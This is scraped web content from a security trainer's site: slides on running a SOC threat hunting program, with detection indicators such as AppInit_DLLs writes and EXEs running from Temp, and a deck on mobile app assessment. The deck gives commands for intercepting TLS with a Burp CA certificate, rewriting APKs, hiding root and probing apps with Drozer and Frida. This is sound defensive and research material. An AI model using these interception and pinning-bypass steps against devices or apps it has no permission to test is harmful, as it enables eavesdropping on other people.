Integrity Monitoring / Application Whitelisting •Baseline and standard approved configurations •Deviation authorization and tracking •Continuous Monitoring for change identification •Objective: Develop system and application baselines and configurations, support monitoring changes from specified baseline settings to return to specification Vulnerability Management•Vulnerability Management is testing systems for issues, such as missing patches or misconfiguration and directing remediation and getting identified issues resolved •Typically performed by a vulnerability scanner •Software with inventory of known patches and flaws, and methods for checking if they’re missing •Objective: identify attack surface of systems: such as vulnerabilities of known flaws or weak configurations; to improve system posture and resilience, to minimize attack opportunities and their effectiveness Penetration Testing•Pen Testing goes beyond vulnerability scans to model/demonstrate how an adversary would compromise a system and what is at risk •Time intensive, substantial expertise required •Objective: determine the risk of an information system by demonstrating impact of a compromise and model adversary attack methods against a system Penetration Testing Drives Change•When I say, you have to patch MS20-013, organizations usually don’t care and make all sorts of excuses or operational reasons why not •When I say in the debrief of the pen-test: I broke in to your accounts payable system and sent myself a check for $100,000 -patches happen quickly •True also for your SOC analysts, SOC internal testers are motivating antagonists Exercises•Exercises model plausible scenarios and challenge the staff identify it, then follow the procedures appropriate to that scenario. Exercises reinforce authorized / good practices •Very valuable, often neglected •The culture of “too busy” frequently prevents exercises •Improvement presumed to occur somehow “in process” •Objective: assess staff readiness, capability to follow defined procedures and improvise in the face of unanticipated issues Hunting by Numbers -1•Basis of architecture and functions for your hunting program to build upon Montance® LLC 33 Hunting: Supporting Requirements Use Cases Engineering•SOC Use Cases: An Engineering Effort •Identify scenario of interest and business relevance •Characteristics of scenario (decompose it) •Related Artifacts •Detection opportunities in data •Enrichment opportunities in data (Threat Info, Correlation) •Implementation •Monitoring / Assessment •Revision / Review / Expiration Crowley talk: mgt517.com/use-cases SOAR•My SOAR mentality: Orchestration / Automation is great, once you know wtf you are doing •Automation paradox: complex systems tend to be more automated, and require human intervention to avoid damage in unexpected scenarios. But human capability to intervene is diminished by the automation •O&A: doesn’t eliminate the need for actual analysis https://mgt517.com/soar-pres https://mgt517.com/soar-video Metrics•Metrics: Carson Zimmerman and I collaborated on a talk that he presented at FIRST on what metrics you should: collect, report, and should be service level objective (SLO) •Short story, you can create perversion in your analyst behavior by metrics: collect, measure, assess, and report on the stuff that really indicates value providedhttps://mgt517.com/first-video https://mgt517.com/first-talk Ongoing InteractionReport Metrics IT Planning Ingest Threat IntelHuntingUse Cases Plan Hunt- ing (Kill) ReportsOpera- tional Hunting by Numbers -2•The landscape of capability Montance® LLC 39 Overview of Hunting Program Everyone Hunts•First off, I think everyone on the security team hunts as a part of every security job •Everyone can come up with a novel idea, everyone has distinct perspective on shortcomings of the existing capability: schedule 2 hours a week/person •This doesn’t exclude a dedicate hunt team •I want variability “ n” in my huntin’ •Now, before you get all hootin’esttootin’est shootin’estYosemite Sam freaky on me… Value of Hunting•Metrics to demonstrate value and justify time: •Posture Enhancements (PEs) identified •“Wins” count: action based on Hunt PEs •A picture of our tools and what they do for us •Enhanced picture of the systems we defend, who those belong to, and high confidence there’s nothing we’ve overlooked Hunting: General Approach Threat Hunting•Investigation of data presuming alerting failed •Review all DNS requests for oddities •Check all TLS (tcp port 443) connections for the certificates in use. If no certificate is in use, this is automatically suspicious •Check the IP addresses accounts have logged in from, least frequency of occurrence analysis of each account for outliers •Encourage the team to try novel approaches and build operational tasks from this novelty Threat Hunting Dot Net•A Consolidated View of Published Hunts •https://threathunting.net for an overview and link to the repository on GitHub •Pick 2 or 3 hunts to perform to start, then expand over time •30 documented hunts •Use these as ideas for other things in your environment Threat Hunting Artifacts•Actual detects •Operational capture of assessment performed •Scripts •Posture improvement for the organization •NIDS / HIDS rules •Ideas for SIEM Use Cases •Detection is excellent, operational tasks also a deliverable Threat Hunting: Scope or Perform Historical Analysis•Enterprise wide detection: yaratool example •When you learn about a new issue, look everywhere •Yara: universally used search tool for malicious content •This example looks for a maldocfile using a BFD exploit from Oct 2017 Threat Hunts to Use Cases•Change ad hoc to repeatable everywhere appropriate •Ad hoc strategies are sometimes good enough •If you are going to do it twice, script it once •Or, three strikes and you automate •But, “Therefore I have heard of military operations that were clumsy but swift, but I have never seen one that was skillful and lasted a long time.” – The Art of War , Sun Tzu •We need to decide what is a battle, and what is ongoing operations that warrant engineering level attention •We musthave a program (even a terrible one) of use case development for engineered tasks. •Hunts are lightweight and somewhat experimental •Keep the n in Hunting Hunting by Numbers -3•Informed by external information on successful hunts Montance® LLC 49 Specific Hunting Ideas: References & Reading Threat Hunting in Event Logs•Conrad –Event Logs •DeepBlueCLIhas specific event IDs of interest to collect also incorporates •Sysmon to track execution of unknown executables •Base64 & PSzipauto decoding / decompression Abstracted Concept of Threat Hunting•Bianco –SANS Threat Hunting & IR Summit talk •General principles for outlier detection •Least frequency of occurrence (stack ranking, long tail) •Scatter plots •Box plots •Isolation forests (pictured to the right) •The idea is to try to find things that are different than the rest, these generalizable methods can be deployed to identify potential items of interest Abstracted Concept of Threat Hunting•“Take Another Look ” •What differentiates an excellent hunter from a fair hunter? •Knows when to pursue, knows when to walk away, knows when to run •Privately shared list of “look closer” (https://mgt517.com/soc) •User logging into another machine via RDP (Exclude Admin Accounts) •Service queries "http://ipinfo.io/json" (Where am I?) •Directory named “Intel” %APPDATA%\Intel directory •EXE running from “Temp” Directory •writes to regkey: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs Hunting Tool: Kansa•Kansa: use for IR, pre- forensics and hunting •Collection •One or multiple hosts •Analysis •Included analysis methods •Extensible and customizable Collect Analyze Threat Hunting Your Supply Chain•SCREATH –Rendition Infosec •Spreadsheet for assessing supply chain risks of organization (Finally) Hunting by Numbers: Detailed Plan of Action Hunt Procedure•All Hunts start with a hunt plan to provide Consistency Across Team, Repeatability, Easy Summary Metrics •Plan and report syntax follow •For time being, I’m using spreadsheets •Moving to a script with database backend •Interface to ticketing system to track •Lame, but will help with organizing the administrivia overhead and focus on thinking and execution Hunt Plan Procedure: Plan Syntax•Serial Number: Hunt-2020-000 •Instance Number (Serial--MM-DD-INSTANCE): 2020-000--01- 16-000 •Name: Tool Hunt •Purpose: Identify tool inventory •Data Required: All inventory documents •Collection Considerations: Possible lack of access regarding private internal investigations •Analysis technique: Manual review and tool based sorting •References and notes: Forced to do this boring hunt! Hunt Plan SpreadsheetSerialNumber PK - INTEGER: [UNIQUE] : 7 Name: VARCHAR: C. Crowley Purpose: VARCHAR: Fully enumerate and document tools within SecOps Team DataRequired: VARCHAR: All SecOps inventory documents (future: database of data sources from SEcOps Tool Hunt) CollectionConsiderations: VARCHAR: Possible lack of access regarding private internal investigations Analysistechnique: VARCHAR: Default: Manual review and tool based sorting (future: pull existing analysis techniques) References and notes: VARCHAR: Default: Forced to do this boring hunt!•Every hunt starts with a plan •Broad latitude to vary and adjust during hunt (capture variation in report, not changed plan, different plan next time –or not) Report Procedure•Have a report plan for each report instance: multiple people can report on the same hunt •Detects: simple count of identified issues/instances •Operational Capture: Where we found it: hostnames, accounts, system names (normalized), IP addr, etc. •Scripts: Path to the script (even draft form), pseudo code right into the report, githubproject developed •Posture Improvement: Posture Improvement Report # •NIDS/HIDS rules: Rule-Serial-Number •Candidate for Use Case? [YES|NO] Hunt Report Spreadsheet•High Value: Consistency across team, avoid needless duplication, repeatability, easy summary metrics SerialNumber PK - INTEGER: [UNIQUE] : 7 ReportInstance Detects: INTEGER: Count of detects Operational Capture: VARCHAR: Locations Scripts: VARCHAR: PathCanonical: Path-to-Script Posture Improvement: VARCHAR: Ticketing: PI-Report_number NIDS/HIDS rules: VARCHAR: NIDS|HIDS: Rule-Serial-Number Candidate for Use Case? CONSTRAINT: [YES|NO] Hunting by Numbers -4•Data aggregated from the hunts in an organized and repeatable way Montance® LLC 62 Hunting by Numbers: Outcomes Threat Hunting Artifacts•Actual detects •Operational capture of assessment performed •Scripts •NIDS / HIDS rules •Repeatable tasks for SOC to be more efficient •Pre-collection / digestion of available data •Ideas for SIEM Use Cases •Posture improvement for the organization Hunt Recap Report Syntax•All Hunts end with a hunt recap report providing: Consistency Across Team, Repeatability, Easy Summary Metrics •Hunt recap report syntax: •Serial Number: Hunt-2020-000 •Instance Number (Serial--MM-DD-INSTANCE): 2020-000--01-16-000 •Name: SecOps Tool Hunt •Detects: Integer (count) •Operational Capture: Locations surveyed •Scripts: Scripts to poll locations surveyed in the future •Posture Improvement: recommendation on how to fix the SecOps inventory •NIDS/HIDS rules: possible to write a rule to identify tool use (Crowdstrike? Yara? NIDS?) within network? •Candidate for Use Case? [YES|NO] Hunt Value: Reported Metrics•Reported Metrics from Hunting (monthly) •Detects: Integer (count) •Posture Improvements suggested: (count) •Posture Improvements verified : (count) •Systems correlated to owners: (count) •Estimatedcoverage of known systems by hunting: (countofsystemstouchedbyhunting / count of systems in environment * 100) •Note:countofsystemsinenvironmentisadatapointyou may have to collect or estimate from outside the hunting Hunting by Numbers: Planned Hunts Hunting by Numbers -5•I’m hunting Montance® LLC 68 Boring: Hunt Our Own Tools•Initial: demonstrate that you can follow the routine, make sure we are all in concert •Focus on our own order and discovery before trying to do this on other people’s systems •Each individual should know all tools available, even if he/she doesn’t use it every day, this is collected wisdom •Also helps with proposing budget, identifying expenses no longer warranted, verifying maintenance of systems, account access, … •As reported on your hunt, maybe a brush up on the tool is a self-assigned “posture improvement”; maybe it is to develop a training task for yourself and others to train and verify capability. Mindset of “posture improvement” Boring: Hunt Our Own ToolsIf you can’t show me you can hunt the stuff you and your team are responsible for using to defend your organization, I lack confidence in your ability to hunt anything at all. (in a motivational way –let’s get better!) Fun: Least Frequency of Occurrence•Fun: Least frequency of occurrence •DNS Domains •TLS Certificates from firewalls •ASEP (AutoStart Extensibility Points) across hosts •Browser User-Agent strings •Executable run by collected hosts (sysmon, etc.) •“Your idea here ” •(LFO is aka long tail analysis) Boring: Hunt Our Constituent Systems•Using any tools at our disposal, plus any open source intel (OSINT) tools, plus+,… •CarbonBlack, Kansa, raw logs… •Maltego, Spiderfoot, etc. … •Attempt to identify information systems, host names, IP addresses, system owners, accounts… •Fill in your inventory / catalogue •Sick of not knowing who’s responsible for that misconfigured system? Hunt’em •Posture Improvement candidates: many Outlier Detection: Command Line Length•Related to least frequency of occurrence (LFO) •Start with a very small number of systems •Good opportunity for developing and practicing scripting skills, harder to convey to •Posture improvement •(Likely) that we don’t have visibility into a lot of systems for this hunt •Compel sysadmins to move toward (signed) powershellscripts: show them the data Team Hunt Proposal Brainstorming•This is a team hunt (dare I say huntin’ party?) •Someone sets up a theme each time, bigger and bolder and rougher and tougher is the goal •We scour the “additional resources” listed earlier, and add some more to that list •Bring ideas to decide on the next hunts •I’d bring a bottle of mezcal, but I don’t know if you’re allowed to partake ;) Hunting by Numbers -666Now we’re all hunting Btw: My last name is Crow ley I didn’t paint this beautiful poster, I commissioned it from Simon Berndt – 1horsetown.co.za Montance® LLC 75 Hunt Updates Bigger & bolder & rougher & tougher… In other words suckathere is no other… no other… I’m theoneandonlydominator… -Human Resource(s) Adapt•Review: metrics reported and self-assessment •Revision: update the program for hunting to make data capture simpler, building a script is the first step, moving it to ticketing system or SOAR system is the next step •Repeat (with variations): doing the same thing the same way multiple times shows which parts are tedious, and should be automated away. Hunting isn’t about use cases and alerts, it’s about developing manual dexterity and building the program from this manual capability •Tool hunt can be reduced to every 6 months then replaced, after a few iterations, change frequently Contact Information @CCrowMontance Further Reading•Links to more info: https://mgt517.com/soc https://soc-class.com/pres https://mgt517.com/youtube •Take the SOC-Survey and redistribute this link: https://soc-survey.com Conclusion Keep the n in Hunting, Cowboy Hunting: Valuable, Undervalued•Hunting provides adaptability to the SOC •Is your SOC an adaptive, responsive engine of preservation and advancement? •If you want to become responsive, you must exert effort to demonstrate value of time spent on that effort, this talk was intended to show you one programmatic approach to do so •Engineer appropriate activities for speed and minimal flexibility, keep the nin huntin’ --- ## Source: https://montance.com/questions.php?id=146 [![pdf](content/images/icons/pdf.svg) Vampirism and the Donut Economy](https://drive.google.com/file/d/18lWAZ7NpQL2IDs3Pstb3DpNJ_yNlcPAr/view?usp=drive_link) Vampirism and the Donut Economy Presentation by Christopher Crowley (2020-06) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Vampirism and the Donut Economy ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/18lWAZ7NpQL2IDs3Pstb3DpNJ_yNlcPAr/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/18lWAZ7NpQL2IDs3Pstb3DpNJ_yNlcPAr/view?usp=drive_link]** Vampirism and the Donut Economy Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC1 1 Christopher Crowley•Background: root on (Ultrix/VMS) employer systems at 15 years old (80s #CYBER) •Mobile History: blackberry, nokia, iOS, windows phone, android •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… •Consultant, author of SOC- Class.com: Security Operations, Design, Build, Operate. Teaches SANS: SEC575, SEC511, SEC504 Montance® LLC 2 2 Mobile attack surface overview•Defensive mobile talk: https://soc-class.com/pres/ : •Attack surface is the hardware itself (firmware, etc.) •multi-homed network connectivity •including WiFi, and Cellular networks as well as •multiple interface connectivity opportunities, like •wired (USB, Lightning) and RF (Bluetooth, NFC) •plus, the operating System of device, the •applications installed, and the •user operating the device. Montance® LLC 3 3 Where are the donuts? Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC4 4 here, have a donut, it’s delicious•Talk inspired by the not-so-good-for-you habits created by mobile device (app) use: distraction, isolation, narcissism, inconsistency •Further reinforced by your corporate (and governmental) overlords: marketing, tracking, eavesdropping (text, call, email, web browsing) •Perhaps also social / societal manipulation and influencing geopolitical balance Montance® LLC 5 5 Chris’s Opinion Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC6 6 iOS: superior Security architecture•My opinion is that the iOS ecosystem is more secure that Android because it is more restrictive •Other factors influencing this opinion •Only about 10 supported hardware devices at any time, android has about 1,000 supported devices •Single company (with a restrictive posture) for hardware, OS, and app (vetting and delivery) •World’s largest (public) application whitelisting deployment (2020 stat: ~1.5 billion devices) Montance® LLC 7 https://9to5mac.com/2020/01/28/apple-hits-1-5-billion-active-devices-with-80-of- recent-iphones-and-ipads-running-ios-13/ 7 Android: Greater Liberty •That being said, Android provides more liberty to do what you want and the responsibility to protect ya’ neck •There are vendors (Copperhead OS, Silent Circle) who provide security optimized android phones; out of reach for most individuals to compile OS on own, but possible •No single controlling entity provides autonomy for splinter factions (Amazon, eg) coopting the OS and rebranding it in their channel; provides resilience and greater development through the community •Allows substantial variation & rapid dev in hardware •Ostensibly open source, not fully OS (binary blobs, eg) Montance® LLC 8 8 Apple is Media Co, Google is Advertiser•My opinion is that Apple went down the path of restrictive hardware to protect its media revenue stream interests. Why make a tamper resistant, encrypted, single use mobile device? •So users can’t steal music, videos, etc. off of it •It’s hard for other threats to steal your media, too •Google’s ecosystem is driven by chasing the larger market share (75% globally) of eyeballs for advertisements. Lower cost option for devices. Montance® LLC 9 https://www.statista.com/statistics/272698/global-market-share-held-by-mobile- operating-systems-since-2009/ 9 Apps: iOS apps delivered compiled•iOS applications (digitally signed) compiled objective-C or swift executables from a single source which reviews the app before allowing distribution •Signature ‘exceptions’ for enterprise signing and developer signing: both are commonly abused by malware and jailbreak developers because it’s basically the only way to get code onto the phone initially •Charlie Miller’s Instastockis a good example of a bypass through Apple vetting, XCode Ghost is another. XCode Ghost behaved like an ad library (included as dylib) from multiple developers in China Montance® LLC 10 https://www.statista.com/statistics/272698/global-market-share-held-by-mobile- operating-systems-since-2009/ 10 Apps: Android bytecode•Android apps digital signature is self-signed by developer; signature used to protected against updates from another developer; provides some identity tracking, but no single central authority •Android apps can be installed from anywhere: better limitation in current Android (non-Play store authorization on a per-app basis) •App is NDK (binary compiled) and SDK “Java™” (pls don’t sue me Oracle) or Kotlin bytecode Montance® LLC 11 https://www.statista.com/statistics/272698/global-market-share-held-by-mobile- operating-systems-since-2009/ 11 Apps: Android bytecode•Effectively more complicated for Google’s security team to assess apps prior to allowing into Play store •See Maddie Stone’s “Wedding Cake” talk BH18 •Developer Policies somewhat more permissive •Less expensive for (malware) developers to have multiple accounts and shift personas •Large number of system apps to deliver functionality, many of which can’t be uninstalled or disabled by user, which have same attack surface I’ll discuss Montance® LLC 12 https://i.blackhat.com/us-18/Thu-August-9/us-18-Stone-Unpacking-The-Packed- Unpacker.pdf https://support.google.com/googleplay/android-developer/answer/9904549 12 Let’s Look on the Bright Side Donuts are actually delicious, after all… Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC13 13 Threats -taxonomy (B$,M$,T$) $B $M $T Montance® LLC 14•This adapted figure (ES.1 Threat Taxonomy) from US DOD Defense Science Board report Resilient Military Systems… •groups threats into ten, million, and billion dollar level resource capability clubs where: •$T: reuse vulnerabilities, •$M: discover vulnerabilities, •$B: create vulnerabilities. https://nsarchive2.gwu.edu/NSAEBB/NSAEBB424/docs/Cyber-081.pdf 14 Not this talk’s focus: $B•Talk is on individual efforts (not against $B). But, •If you need individual help with that, remain hypervigilant and leverage Citizen Labs https://citizenlab.ca/ resources •?q=Mansoor+Pegasus+Citizen+NSO+lookout •If you help protect a company against the $B, leverage your country’s public resources and available threat intel regarding mobile attack TTPs •If your country is the threat then ?q= “that one privacy guy VPN comparison” also use Tor/Signal… Montance® LLC 15 https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group- uae/ 15 So What Can I do About It? Don’t be like me: eat one donut, not the whole dozen. That’s why I can’t eat donuts anymore… As soon as I have one, I will eat all of the donuts until there are none left Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC16 16 Vigilance and Mobile App Assessment•All aforementioned actors need to evade detection all the time in order to continue to deliver their mobile code to you •Be vigilant in inspection of mobile devices and applications running on them •Substantially larger need for community review in the android space. Still needed and possible on iOS, but more difficult Montance® LLC 17 17 How Do I Do That? Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC18 18 assessment procedure•I’m going to walk through my assessment suggestions on android •Parallel actions are available on iOS, a jailbroken iOS device is very useful •Thanks to the great work by axi0mX on checkm8, then the checkra1n developers, it’s tenable for many people •Rough analysis sequence: behavioral, automated tools, manipulation, static Montance® LLC 19 https://twitter.com/axi0mX/status/1177542201670168576 https://checkra.in/ 19 Execution of Application Assessment•Technically involved •Even Apple and Google miss code included in applications •XCodeGhost is an example •Malicious library (with C2) included at compile time due to malicious XCode image from: https://www.fireeye.com/blog/threat- research/2015/11/xcodeghost_s_a_new.html 20 Methodology Overcomes Limitations•Being repeatable and taking great notes is more important than going fast or getting far •Every step of the way matters, if you think you find something, someone else should be able to reproduce the steps that you took to find it •Best if you can script the actions, but if you can’t a concise definition of how to click-click-click is better than nothing 21 Assessment Legal Preface•Consult your legal counsel, I’m not your lawyer •Usually assessing an application (which was legally obtained) for suitability of interoperation within your network is legal •Do so for networks only where you have written permission to perform this type of analysis •If you own the assets and the network… 22 Permission to Assess Granted•Montance® LLC now ;) 23 Pre-existing guidance•Phenomenal work by OWASP to produce MASVS and MSTG –use these to guide your actions •Android App PenTestGuide (AAPG) is a stepwise, tool specific implementation of MSTG –if you want concise instructions to follow, go get that and follow it •It’s got a bunch of holes in it (“TODO” type notes) but it could be really good guidance or reference •Take a look at it to see if you know all the tools and can use it as a script 24 Virtual Device vs. Phone•Virtual Device : easier, very low cost to entry, can’t always use the Play store to get apps (need Play store image), benefit of snapshots / consistency, already have root, easy network interception emulator -http-proxy 127.0.0.1:8080 •Hardware: faster, more costly, no snapshot instance, better runtime for apps which detect VM, more realistic modeling of user experience for non-Pixel (pure play Android) devices, only way to assess some system and custom apps (Samsung, OnePlus, …) 25 Virtual Device –Play Store•Options for virtual devices with play store in available Android studio •May be useful for you in a couple of circumstances, definitely for the APK retrieval for static code analysis I’ll talk about later if you’re going to use a virtual device 26 Behavioral -Network behavioral , automated tools, manipulation, static Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC27 27 Methodology –Behaviors -Network•Easiest to perform without specialized tools •Put the mobile device on a network, and monitor the communication through a laptop •Challenge –TLS protected communication •Challenge –interpreting hidden or obfuscated data •Challenge –application has a trigger condition which isn’t met in your testing, obscuring some undesirable but present (and not detected by you) behavior 28 Methodology –Network•Physical device two basic options: •Windows or native linuxhosts an access point •Use a VM on the host, connect a USB wired NIC, connect a wifiaccess point and associate device •My set up is often the latter: snapshot of linux intercept host –easier (for me) manipulation and scripting options –ettercap, bettercap, burp, iptables, CLI manipulation, etc.; snapshot of windows VM for MS Windows only tools 29 Methodology –Network –Windows AP•Use Windows laptop with a USB connected network card (In this case the card is a ALFA AWUS 036NHA) •Configure the USB card as an Access Point •Built in wireless connection to the internet with Internet Connection Sharing (ICS) for routing •Associate mobile device to AP, use tools (burp, cain, etc.) to monitor / manipulate traffic 30 Methodology –Network –Windows AP•Install Burp CA cert into User store of device to help monitor the TLS communications •Lets you determine if certificate pinning is in place, and the data at risk if it is not •Gives insight into what’s at risk from your use of access points, your ISP, and Cellular provider •TLS interception shows what data the apps are sending back to the DonutOverlords™ for market research and customer satisfaction, of course 31 Methodology –Network –Windows AP•Mobile device <--> WAP <--> laptop w/ ICS enabled <--> Wireless <--> Internet •Interface configuration: •wireless USB -WLAN 2 -set as an access point •As admin run – (disable wlanthe other wireless interface) netsh wlan set hostednetwork mode=allow ssid=montance key=itisntreallyaword netsh wlan start hostednetwork 32 Methodology –Network –Linux VM•Kali VM, USB NIC passed to Kali VM •Connect device to wifipineapple or any AP •Run wp4.sh script (My Juiced Up WifiPineapple Script SANS Pentest blog for details on my little tweaks to make life easy) https://pen-testing.sans.org/blog/2014/05/07/my- juiced-up-wifi-pineapple-configurator-script •Tweaks linuxto perform routing and iptables handles passing HTTP / HTTPS traffic into your proxy 33 Methodology –Network•Transparent firewall rules can direct traffic into a proxy •Make sure you enable transparent proxy in burp (or other) if you do this to be sure the headers are inspected •Or device can be configured to use a proxy 34 Methodology –Network•Either way, proxy sees (and can modify) non-TLS content 35 Methodology –Network•Deal with TLS? Easiest way is add proxy’s certificate •Burp serves up a .der format file, so convert it openssl x509 –inform der –outform pem \ –in cacert.der –out cacert.pem python –m SimpleHTTPServer 9090 •Browse to system, collect cert (http://172.16.42.42:9090/ ) •Install Cert: Settings –Security –“Install from Storage” •Select “cacert.pem” 36 Methodology –Network –TLS-rewrite•TLS continued •Later Android requires an APK rewrite •Decompile using apktool •Edit res/xml/network_security_config.xml •Recompile using apktool 37 Methodology –Network –TLS -magisk•Another option is to leverage a Magisk(Magic Mask) module to modify the root trust storage container to include the certs from the user trust storage container https://github.com/NVISO-BE/MagiskTrustUserCerts/releases •Magiskis useful for masking a rooted environment to keep apps running unaware of the root control •My opinion about rooted phones: don’t run a rooted phone as your daily driver. But, my opinion about taking risks: you’re responsible, do whatever you want to: don’t hurt yourself or let yourself get hurt 38 Methodology –Network•Get “man in the middle” •Here the cert issuer for www.google.com is my Burp Suite CA –“PortSwiggerCA” •Apps vary on how they deal with this depending on how they’re programmed •Cert pinning may be in use •May require runtime manipulation or app rewriting to bypass this protection –it’s good for you if it’s hard to undermine 39 Methodology –Network•Additionally, full packet capture (PCAP) via tcpdump, dumpcap, wireshark, etc. during assessment 40 Methodology –Network•You have control of the application while you’re doing this work. Start with a no action baseline for ~20 min •Don’t rush, pause ample time between actions to help to isolate what you’re doing when reviewing •Record the time of every action you take, use this to correlate to network activity: go slow and deliberate, •Search traffic for all (unique) data that you input, also potentially hashes, we’ll talk about code review next 41 Methodology –Network•Wireshark conversations view 42 Behavioral -Filesystem behavioral , automated tools, manipulation, static Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC43 43 Methodology –Filesystem Content•If you have rooted or jailbroken phone, pull full filesystem contents: tar, dd, etc. •If you don’t have root, use adbto pull files, or make a backup of the phone (or specific app) to review •Do this before running app, then after, and use diff to identify which files changed for targeted inspection •Android adbbackup Example: adbbackup -f myfile.abcom.company.package Note: in my experience, adbbackup crashes without filename for single packages 44 Methodology –Filesystem Content•Usually an encrypted backup, need to decrypt the content •backupdecrypt.pl •Only through backup version 1 •android-backup-extractor •abe.jar •Need to add Java crypto library to support AES-256 (see abe.jar README) for instructions to download library and install 45 Methodology –Filesystem Content•java -jar abe.jar unpack myfile.ab decrypted.ab •tar -xvfdecrypted.ab •Enjoy the volume of data to inspect! •Sqlitedatabases frequently encountered •Not always easy to review so much data. Protip, be lazy: sqlite3 app_data.db .dump | grep 46 Methodology –Filesystem•Frequently, though not always, data to be exfiltrated for donut market research is stored on the filesystem in a database prior to uploading to the overlord mothership •You’re looking for traces of information that you consider sensitive or intrusive: photos, GPS location, contacts, messages, typed content, voice clips 47 Automated Tools behavioral, automated tools , manipulation, static Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC48 48 MobSF–Automated•https://opensecurity.in/ MobSFprovides an dockerizedstatic code analysis Android and iOS capability with quality assessment reports •Non-docker version provides additional automated runtime analysis module •Extensive documentation and training: https://github.com/MobSF/Mobile-Security- Framework-MobSF 49 Automated -Others•Androwarn: https://github.com/maaaaz/androwarn •Qark: https://github.com/linkedin/qark/ 50 Runtime Manipulation behavioral, automated tools, manipulation , static Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC51 51 Methodology –Inter-process Communication•Android –use of “intents” between and within apps for IPC •Android components: •Activities •Services •Content Providers •Broadcast Receiver•iOS –chroot(sandbox) with minor exceptions for data sharing between apps •Document provider (shares with other apps) •Document picker (can import) •Action extension •Custom keyboard •Also, URL handlers such as “twitter://” 52 Methodology –Inter-process Communication•Assessing the IPC is involved in both platforms •Drozer(thanks, f-secure!) is very helpful for this on Android •iOS no automated tool yet to help with exploration of IPC •Concern of action extension for exposure of app to active content returned into application context •Challenge is time, and exploring potential content provided •Look for crashes when passing no data to other activities in apps, suggest inadequate taint checking and data verification, then look for abuse opportunities •Weak interconnections will be abused by donut overlords 53 IPC -Drozer•Install Drozerapplication on Android (root not required) •In this case, I’m using adbbased connection: adb forward tcp:31415 tcp:31415 drozer console connect •Drozerhas lots of capability to operate at runtime, only scratching the surface here •Needs knowledgeable user, but this is trainable / learnable •Also helpful to dip into static code analysis paired with this behavioral analysis 54 IPC -Drozer•See the attack surface: run app.package.attacksurface com.ovelin.guitartuna •See the activities: run app.activity.info com.ovelin.guitartuna 55 IPC -Drozer•See the Activities (a user interface screen): run app.activity.info com.ovelin.guitartuna 56 IPC –“Extras”•Can now go look in the code (probably easiest with jadx-gui) to see if any of the Activities that accept “extras” –with the inter process communication •If so, there is an opportunity for an external application to communicate with this app, there’s an opportunity for abuse •Recent example attack on android was intent to trigger camera to take photo 57 Runtime –Frida •Awesome and likely most popular runtime manipulation tool https://frida.re •Requires some programming knowledge, application behavior insight, useful to have a little android development knowledge •often requires some static code analysis to determine application capabilities to manipulate •Unrooted and rooted (more powerful) options all Rs reversed? 58 Runtime -ARTist•I love this idea, it’s not the most popular tool, but is an elegant solution •Replace the dex2oat compilation tool (requires rooted device) and instrument the elf executable, thereby bypassing code modification checks •SchranzBH18 https://ieeexplore.ieee.org/abstract/document/7961998 https://i.blackhat.com/us-18/Thu-August-9/us-18-Schranz-ARTist-A-Novel- Instrumentation-Framework-for-Reversing-and-Analyzing-Android-Apps-and-the- Middleware-wp.pdf https://i.blackhat.com/us-18/Thu-August-9/us-18-Schranz-ARTist-A-Novel- Instrumentation-Framework-for-Reversing-and-Analyzing-Android-Apps-and-the- Middleware.pdf 59 Other Runtime•Needle (f-secure): https://github.com/FSecureLABS/needle •Objection (sensepost–uses Frida): https://github.com/sensepost/objection •XPosed, CydiaSubstrate •And more tools: https://github.com/tanprathan/MobileApp-Pentest- Cheatsheet 60 Code behavioral, automated tools, manipulation, static Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed?SOC-Class.com || Montance® LLC61 61 Methodology –Code Assessment•By reviewing the code, there is an opportunity to see more than the behavior of the app during your observation •You can (maybe) see the things the application is programmed to do in the present code •More complex than network or filesystem •Requires tools to decompile the code, and ability to read the code. Both learnable, let’s go. 62 Acquire Application to Assess•Android –a couple of options •Install app, use ES FileExplorer to backup apk(my preference) •RealAPK Leecherto pull from Play store •Download from internet •adbincludes .apkwith appropriate option (I don’t like the naming) •iOS •Must have a jailbroken phone to extract application •If Jailbroken phone: collect (encrypted) executable from within the filesystem install directory •Better to use runtime decryption with gdbor dump_decrypted for subsequent binary analysis: disassemble in ida, hopper, ghidra,… 63 Acquire Application to Assess•Root not required! •Using ES File Explorer, go to “App” Section •Long press the app of interest. Once selected, choose “backup” •Get the file from the device (I used adb with a USB connection) adb pull /sdcard/backups/GuitarTuna_4.0.2.apk •We now have the application to assess •APK files are just zip files 64 Unzip and View Manifest•Since the Android app is just a zip file, we can unzip it •Make a copy in a sub directory (original stays safe) •Unzip file using 7-zip, or any zip utility •(binary) AndroidManifest.xml declares permissions java –jar AXMLPrinter2.jar AndroidManifest.xml | more •AndroidManifestalso declares Activities (windows / interfaces), ContentProviders, Receivers, Services, and Intents (IPC) •These are components of Android Apps 65 Unzip and View Manifest•We see the permissions declared, and have an idea of what the app can do •The Manifest is long, declares several things •In this app, we see multiple permissions and a lot of Facebook integration (not pictured) 66 Decompiled Code•With some understanding of the behavior and the permissions, we might want to see in detail what the program does •There are multiple decompilation tools 